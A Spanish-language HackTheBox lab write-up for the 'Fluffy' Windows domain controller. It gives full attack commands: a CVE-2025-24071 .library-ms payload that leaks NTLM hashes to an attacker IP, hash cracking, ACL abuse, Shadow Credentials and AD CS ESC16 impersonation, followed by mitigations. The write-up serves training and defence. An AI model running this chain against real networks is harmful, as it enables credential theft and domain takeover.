Upgrade_Notice.pdf que nos apunta a CVE-2025-24071: un fichero .library-ms dentro de un .zip fuerza autenticación SMB saliente, filtrando el hash NetNTLMv2 de p.agila, que se crackea a texto claro. BloodHound revela ACLs anidadas GenericAll/GenericWrite que permiten ataques de Shadow Credentials sobre cuentas de servicio. Finalmente, AD CS ESC16 (extensión de seguridad deshabilitada en la CA) permite UPN spoofing para suplantar a Administrator.HackTheBox Windows Easy
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | Fluffy |
| SO | Windows Server 2019 (Controlador de Dominio) |
| Dificultad | Easy |
| IP | 10.129.232.88 |
| Técnicas | CVE-2025-24071 · Cracking NetNTLMv2 · Abuso ACLs BloodHound · Shadow Credentials · AD CS ESC16 · UPN Spoofing · Pass-the-Hash |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.232.88PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws💡 Superficie de ataque: El juego de puertos (Kerberos, LDAP, SMB, ADWS, WinRM) es característico de un controlador de dominio Active Directory. Todos los vectores de ataque pasan por protocolos AD.
1.2 Escaneo de Versiones#
nmap -sC -sV -p389,636 10.129.232.88389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: SAN: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s⚠️ Desfase horario detectado: El skew de ~7h causará fallos en la autenticación Kerberos hasta que sincronicemos el reloj. Lo abordaremos cuando se convierta en bloqueante.
2. Enumeración SMB#
Con las credenciales iniciales proporcionadas (j.fleischman : J0elTHEM4n1990!):
smbmap -H 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!'Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
IT READ, WRITE
NETLOGON READ ONLY
SYSVOL READ ONLYEl recurso IT tiene acceso de lectura y escritura. Listamos su contenido:
smbmap -H 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' -r "IT"Everything-1.4.1.1026.x64/
Everything-1.4.1.1026.x64.zip
KeePass-2.58/
KeePass-2.58.zip
Upgrade_Notice.pdf💡 Hallazgo clave: Un recurso con escritura al que presumiblemente accede personal de IT, con un
Upgrade_Notice.pdf— merece leerlo antes de intentar cualquier exploit técnico.
3. Análisis de Upgrade_Notice.pdf#
smbmap -H 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --download "IT\Upgrade_Notice.pdf"
pdftotext 10.129.232.88-IT_Upgrade_Notice.pdf && cat 10.129.232.88-IT_Upgrade_Notice.txtFLUFFY — Patch Announcement: Mandatory Timeslot Booking for Critical Updates
Recent Vulnerabilities
CVE ID Severity
CVE-2025-24996 Critical
CVE-2025-24071 Critical
CVE-2025-46785 High
CVE-2025-29968 High
CVE-2025-21193 Medium
CVE-2025-3445 Low💡 Insight clave: El departamento de IT nos está anunciando los CVEs que les preocupan — incluido CVE-2025-24071, que filtra hashes NTLM mediante un fichero
.library-msdentro de un.zip. Ya tenemos acceso de escritura al recursoITque usa el personal de IT.
4. CVE-2025-24071 — Filtración NTLM vía .library-ms#
4.1 Vulnerabilidad#
Un fichero .library-ms puede declarar una carpeta remota (\\<IP_atacante>\share) como parte de una “biblioteca” de Windows. Cuando el Explorador de Windows indexa o previsualiza el .zip, resuelve esa ruta remota — generando una autenticación SMB saliente con el hash NetNTLMv2 del usuario.
Flujo normal: usuario abre ZIP → Explorer previsualiza contenidos localmente
Flujo malicioso: ZIP contiene .library-ms con ruta UNC remota
→ Explorer resuelve \\<atacante>\share → autenticación SMB enviada
→ atacante con Responder captura hash NetNTLMv24.2 Generación del Payload#
python3 cve_2025_24071.py -n test -i 10.10.15.193 -s IT[+] Wrote ./test.library-ms
[+] Wrote ./test.zip
[+] Removed intermediate test.library-ms
[+] Done. Deliver ./test.zip to the target and get it extracted.4.3 Entrega del Payload#
smbclient '//10.129.232.88/IT' -U 'j.fleischman%J0elTHEM4n1990!'
smb: \> put test.zip
smb: \> exit4.4 Captura y Cracking del Hash#
responder -I tun0[SMB] NTLMv2-SSP Client : 10.129.232.88
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:ca1ffb03f3cc9670:15DBBA15...hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O --forceP.AGILA::FLUFFY:...:prometheusx-303🔑 Credenciales obtenidas:
p.agila : prometheusx-303
5. Enumeración de Active Directory — BloodHound#
bloodhound-python -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' \
-dc 'dc01.fluffy.htb' -c all -ns 10.129.232.88INFO: Found AD domain: fluffy.htb
INFO: Found 1 computers
INFO: Found 10 users
INFO: Found 54 groupsEn BloodHound, marcamos p.agila como owned y revisamos Outbound Object Control → Transitive Object Control:
p.agila∈ grupoService Account ManagersService Account ManagerstieneGenericAllsobre el grupoService AccountsService AccountstieneGenericWritesobreca_svc,winrm_svcyldap_svcwinrm_svc∈Remote Management Users→ puede autenticarse por WinRM
💡 Cadena de ataque: Si abusamos del
GenericAllpara añadirnos al grupoService Accounts, heredamosGenericWritesobre las cuentas de servicio.GenericWritesobre un objeto de usuario permite un ataque de Shadow Credentials — añadir una clave pública alternativa sin conocer ni cambiar la contraseña.
6. Abuso de ACLs y Shadow Credentials#
6.1 Unirse a Service Accounts#
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.232.88 \
add groupMember 'service accounts' p.agila[+] p.agila added to service accountsecho "10.129.232.88 fluffy.htb dc01.fluffy.htb" | sudo tee -a /etc/hosts6.2 Shadow Credentials sobre winrm_svc#
GenericWrite sobre un objeto de usuario permite modificar su atributo msDS-KeyCredentialLink. Añadiendo una clave pública que controlamos, nos autenticamos como esa cuenta mediante PKINIT sin conocer su contraseña y recuperamos su hash NT vía U2U.
certipy shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account winrm_svcNT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767Flujo normal: autenticación con contraseña → TGT Kerberos emitido
Flujo malicioso: GenericWrite → añadir clave pública a msDS-KeyCredentialLink
→ autenticación PKINIT con nuestra clave privada → U2U → hash NT sin contraseña7. User Flag#
evil-winrm -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -i dc01.fluffy.htb*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt🔑 User flag obtenida.
8. Escalada de Privilegios — AD CS ESC16#
8.1 Localizar la CA#
nxc ldap 10.129.232.88 -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -M adcsADCS Found PKI Enrollment Server: DC01.fluffy.htb
ADCS Found CN: fluffy-DC01-CAcertipy find -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip 10.129.232.88 -vulnerable -enabled -stdout[!] Vulnerabilities
ESC16 : Security Extension is disabled.⚠️ ESC16: La CA tiene deshabilitada la extensión
szOID_NTDS_CA_SECURITY_EXT, que normalmente incluye el SID del solicitante en los certificados emitidos. Sin ella, el controlador de dominio usa un mapeo débil por UPN — lo que permite suplantar cualquier cuenta cuyouserPrincipalNamepodamos igualar, incluidaAdministrator.
8.2 Obtener el Hash NT de ca_svc#
El primer intento falla por el desfase horario detectado con Nmap:
certipy shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc
# [-] KRB_AP_ERR_SKEW(Clock skew too great)ntpdate 10.129.232.88
# CLOCK: time stepped by 1112.160389certipy shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svcNT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c88.3 Explotación ESC16 — UPN Spoofing#
Paso 1 — Establecer el UPN de ca_svc como administrator:
Con GenericWrite sobre ca_svc podemos modificar su userPrincipalName directamente:
certipy account update -username 'ca_svc@fluffy.htb' \
-hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -upn 'administrator'[*] Updated 'ca_svc':
userPrincipalName : administratorPaso 2 — Solicitar certificado mientras el UPN es administrator:
certipy req -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip 10.129.232.88 -target 'dc01.fluffy.htb' \
-ca 'fluffy-DC01-CA' -template 'User'[*] Got certificate with UPN 'administrator'
[*] Saving certificate and private key to 'administrator.pfx'Flujo normal: certificado incluye SID → DC mapea cert a cuenta por SID
Flujo malicioso: ESC16 (sin extensión de seguridad) → DC mapea cert a cuenta por UPN
→ UPN de ca_svc = "administrator" → cert emitido como "administrator"
→ certipy auth → hash NT de AdministratorPaso 3 — Restaurar el UPN original (limpieza):
certipy account update -username "p.agila@fluffy.htb" -p "prometheusx-303" \
-user ca_svc -upn 'ca_svc@fluffy.htb'Paso 4 — Autenticar con el certificado:
certipy auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.129.232.88[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e🔑 Hash NT de Administrator obtenido: Pass-the-Hash a WinRM completa la escalada.
9. Root Flag#
evil-winrm -u 'Administrator' -H 8da83a3fa618b6e3a00e93f676c92a6e -i dc01.fluffy.htb*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt🏁 Root flag obtenida.
10. Resumen y Lecciones Aprendidas#
Cadena de compromiso:
- Reconocimiento → Enumeración SMB con
j.fleischmanrevela recursoITcon escritura. - Recopilación de inteligencia →
Upgrade_Notice.pdflista CVE-2025-24071 como parche crítico pendiente. - CVE-2025-24071 →
.library-msdentro detest.zipsubido al recursoIT→ Responder captura hash NetNTLMv2 dep.agila→ hashcat crackea aprometheusx-303. - BloodHound →
p.agila→GenericAllsobre grupoService Accounts→GenericWritesobrewinrm_svc. - Shadow Credentials →
bloodyADañadep.agilaaService Accounts→certipy shadow autosobrewinrm_svc→ hash NT → WinRM →user.txt. - ESC16 →
certipy findrevela extensión de seguridad deshabilitada enfluffy-DC01-CA→ntpdatecorrige desfase → Shadow Credentials sobreca_svc→ hash NT. - UPN Spoofing → UPN de
ca_svc=administrator→certipy reqcon plantilla User → certificado con UPNadministrator→certipy auth→ hash NT de Administrator → WinRM →root.txt.
Qué aprendí de esta máquina:
CVE-2025-24071 es un ataque sin interacción del usuario sobre bibliotecas de Windows. La víctima no necesita abrir el fichero ni ejecutar nada — el Explorador de Windows resuelve automáticamente las rutas UNC de
.library-msdurante la indexación. Acceso de escritura a un recurso compartido que usa el personal de IT es suficiente para capturar credenciales de cualquiera que lo explore.Un PDF del departamento de IT puede ser la mejor fuente de reconocimiento. El
Upgrade_Notice.pdfnombraba el CVE exacto a explotar. En compromisos reales, los documentos internos revelan frecuentemente qué sabe el objetivo sobre sus propias vulnerabilidades — siempre leer los ficheros encontrados en recursos accesibles antes de alcanzar exploits técnicos.El análisis de control transitivo de BloodHound es indispensable en AD. La cadena
p.agila → Service Account Managers → Service Accounts → winrm_svc/ca_svcrequeriría una enumeración manual significativa sin el grafo de BloodHound. Marcar cada cuenta comprometida como “owned” y seguir los caminos de salida es el flujo de trabajo estándar.Shadow Credentials es una alternativa sigilosa a los cambios de contraseña. La modificación de
msDS-KeyCredentialLinkno cambia la contraseña, no dispara eventos de “contraseña cambiada” y no bloquea la cuenta. Solo es detectable mediante monitorización específica del atributo.ESC16 es una mala configuración a nivel de CA, no de plantilla de certificado. A diferencia de ESC1 (que requiere una plantilla enrollable con control de SAN), ESC16 afecta a todos los certificados emitidos por la CA. Deshabilitar la extensión de seguridad debilita retroactivamente todos los mapeos de certificados del dominio.
El desfase horario no es solo una molestia — es una señal. El error
KRB_AP_ERR_SKEWen el primer intento de Shadow Credentials sobreca_svcera esperado desde el escaneo de Nmap. En entornos reales, un desfase horario elevado en un DC indica frecuentemente VMs mal configuradas o suspendidas — merece reportarse como hallazgo independiente.
Mitigaciones:
| Vector | Mitigación |
|---|---|
Recurso IT con escritura para usuarios no administrativos | Mínimo privilegio en ACLs; separar distribución de solo lectura de recursos de subida |
CVE-2025-24071 (.library-ms en .zip) | Aplicar parche de Microsoft; filtrar .library-ms en política del recurso; bloquear NTLM saliente |
| NetNTLMv2 crackeable offline | Deshabilitar NTLM donde sea posible; forzar Kerberos; contraseñas robustas + SMB signing |
ACLs de AD excesivamente permisivas (GenericAll/GenericWrite anidadas) | Auditar ACLs periódicamente con BloodHound; evitar cadenas de delegación que terminen en cuentas privilegiadas |
Shadow Credentials (msDS-KeyCredentialLink) | Monitorizar escrituras al atributo; restringir qué principals pueden escribirlo |
| ESC16 (extensión de seguridad deshabilitada, mapeo débil por UPN) | Habilitar StrongCertificateBindingEnforcement; restringir modificación de UPN |
| Desfase horario elevado | Sincronizar todos los hosts contra una fuente NTP fiable |